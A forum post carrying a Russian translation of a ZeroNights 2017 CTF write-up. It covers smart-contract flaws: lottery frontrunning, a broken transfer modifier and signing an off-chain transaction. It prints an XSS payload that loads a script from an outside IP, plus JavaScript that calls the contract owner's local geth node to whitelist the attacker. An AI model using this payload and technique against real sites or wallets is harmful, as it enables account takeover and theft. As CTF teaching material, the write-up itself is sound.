+ Reply to Thread
Results 1 to 1 of 1

Thread: Разбор задания ZeroNights ICO

  1. #1

    Default Разбор задания ZeroNights ICO

    Оригинал: blog.positive.com

    До проведения конференции по информационной безопасности ZeroNights 2017, было запущено хакерское ICO. Первые три участника, решившие задание, в качестве приза получали приглашение на конференцию. Лично мне была интересна тема безопасности в смартконтрактах, которая на данный момент набирает популярность в различных CTF.

    Сайт ICO - это DApp, который взаимодействует с двумя смартконтрактами, размещенными в тестовой сети Rinkeby. Первый контракт - это токен HACK стандарта ERC20, через него вы можете узнать свой баланс, сколько всего было выпущенно моент, сколько было продано и так далее.
    Стоит упомянуть что для победы нужно набрать 31337 монет.

    Второй контракт - это реализация лотереи. Вот фрагмент кода:
    Code:
         function spinLottery(uint number) public {
             if (msg.sender != robotAddress) {
                 playerNumber[msg.sender] = number;
                 players.push(msg.sender);
                 NewLotteryBet(msg.sender);
             } else {
                 require(block.number - lotteryBlock > 5);
                lotteryBlock = block.number;
        for (uint i = 0; i < players.length; i++) {
                    if (playerNumber[players[i]] == number) {
                        desires[players[i]].active = true;
                        desires[players[i]].email = "*Use changeEmail func to set your email.*";
                        Proposal(players[i], desires[players[i]].email);
                    }
                }
                delete players; // flushing round
                NewLotteryRound(lotteryBlock);
            }
        }
    Если вам улыбнется удача и вы угадаете число, то ваш адрес будет дабавлен в mapping desires. В whitepaper (как в настоящем ICO) было указано, что в белый список участники будут заноситься вручную, либо в результате победы в лотерее. Так давайте попробуем победить!

    Победа в лотерее

    Глядя на код выше, вы можете увидеть, что существует некий робот, который отправляет в контракт случайное число один раз в 5 блоков. Данное число отправляется в открытом ввиде, без использования сида. Это означает, что код подвержен атаке Transaction Ordering Dependence or Frontrunning. Другими словами, если мы достаточно быстры, чтобы посмотреть номер, отправленный роботом, и выпустить нашу собственную транзакцию с таким же номером, чтобы обе транзакции отображались в одном и том же блоке, мы можем выиграть в лотерею при условии, что наша транзакция будет обработана раньше транзакции робота. Как этого можно добиться? Очень просто, нам просто нужно увеличить цену за газ, чтобы она была выше, чем у робота. После нескольких попыток мне всё же удалось вписаться с ним в один блок.


    Итак, я попал в desires, но я все еще не могу покупать токены. Для этого мой адрес должен быть перемещен из desires в whitelist. Из кода видно, что это может сделать только владелец контракта:
    Code:
        function addParticipant(address who) onlyController public {
            if (isDesirous(who) && who != controller) {
                whitelist[who] = true;
                delete desires[who];
                AddParticipant(who);
                RemoveProposal(who);
            }
        }
    Попадание в белый список

    У смарт контракта не оказалось уязвимостей, которые могли бы мне помочь. Однако веб-приложение, написанное на Vue.js, имело следующий код, который отображал адрес электронной почты пользователя:
    Code:
    domProps: {
      innerHTML: t._s(e.email)
    }
    Это означает, что контролируемый пользователем ввод отражался на странице без санитизации, проще говоря — у нас есть XSS. Используя метод changeEmail, я получил некоторую HTML-разметку, заинжекченую на страницу.

    С этого момента становится интереснее: что если владелец контракта зайдет на данную страницу в своем браузере? Если это произойдет, мы сможем попытаться отправить транзакцию через локальный geth узел, обычно работабщий на localhost:8545, который добавит нас в белый список от имени владельца контракта, при условии, что он будет авторизован. Выглядит маловероятно, но попробовать стоило. Вскоре после этого я накидал следующий код на JS:
    Code: JavaScript
    var web3 = new Web3(new Web3.providers.HttpProvider("http://localhost:8545"));
    var abi = /* CONTRACT ABI HERE */[];

    web3.eth.defaultAccount = web3.eth.accounts[0];
    var c = web3.eth.contract(abi).at("0xd80cc3550da18313af09f bd35571084913cd5246");
    c.addParticipant("0x949db1e44B7762683d1Cf947D2B3c2 358bD7434A", function(a,b){console.log(b)});

    Создав файл со скриптом на моей машине, я отправил транзакцию changeEmail со следующим кодом вместо моего адреса электронной почты:
    Code:
    <img src=x onerror='var a=document.createElement("script");a.src="http://52.207.112.238/test.js";document.body.append(a);'>
    К моему удивлению, владелец контракта действительно зашел на сайт, и у него был узел geth, работающий на localhost. Код отработал хорошо, и вскоре я увидео свой адрес в whitelist.

    Покупка токенов

    На данном шаге меня ничто не останавливало от покупки 31337 токенов. За исключением одной проверки в методе buy:
    Code:
    require(hack.balanceOf(msg.sender) + hacks <= 1000 ether);
    Это означет что я не могу владеть более чем 1000 HACK коинов. Но что если мы попробуем переместить эти 1000 токенов на другой адрес и купить еще 1000?
    Давайте взглянем на метод transfer:
    Code:
    function transfer(address _to, uint256 _value) public afterICO returns (bool) {/* ... */}
    Он имеет модификатор afterICO, который должен помещать нам перевести средства. Однако он оказался неэффективным из-за того что условие не было внесено внутрь require:
    Code:
    modifier afterICO() {
        block.timestamp > November15_2017; _;
    }
    После 32-x итераций “покупки/передачи” я получил необходимый баланс токенов:



    На самом деле нужно получить +1 HACK, иначе не получиться пройти проверку.

    Создание off-chain транзакции

    Последний шаг, на первый взгляд, казался очень простым. Нужно было подписать off-chain транзакцию, которая содержить HACK в поле msg.data. Ключевое слово здесь - транзакция. Я провел пару часов, безнадежно пытаясь заставить скрипт проверки провалидировать подписанное сообщение, как в CTF Ethernaut, пока не понял, что нужна подписанная off-chain транзакция.

    Нет простых способов сделать это через web3, но, к счастью,проект ethereumjs-tx оказался подходящим инструментом для этой задачи.

    Транзакции в Ethereum подписываются закрытым ключом отправителя, поэтому для начала мы должны извлечь его из MetaMask. После многочисленных попыток создать правильную струкруту транзакции, я наконец придумал следующий сценарий:
    Code: JavaScript
    var Transaction = require('../index.js')

    var tx = new Transaction(null, 1)

    var privateKey = new Buffer('cafebabe', 'hex')

    var rawTx = {
    nonce: '0x00',
    gasPrice: '0x09184e72a000',
    gasLimit: '0x2710',
    to: '0x9993ae26affd099e13124d8b98556e3215214e81',
    value: '0x00',
    data: '0x4841434b' // HACK
    }

    var tx = new Transaction(rawTx)
    tx.sign(privateKey)

    var serializedTx = tx.serialize()
    console.log(serializedTx.toString('hex'))

    После отправки результата я наконец получил флаг, который обеспечил мне второе место.


    Спасибо организаторам за отличный конкурс и до новых встреч!

    © Translated by f0x0f special for r0 Crew
    Last edited by Darwin; 03-11-2018 at 23:39.

  2. Пользователь сказал cпасибо:
    Darwin (03-11-2018)
+ Reply to Thread

Tags for this Thread

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
All times are GMT. The time now is 01:17
vBulletin® Copyright ©2000 - 2018
www.reverse4you.org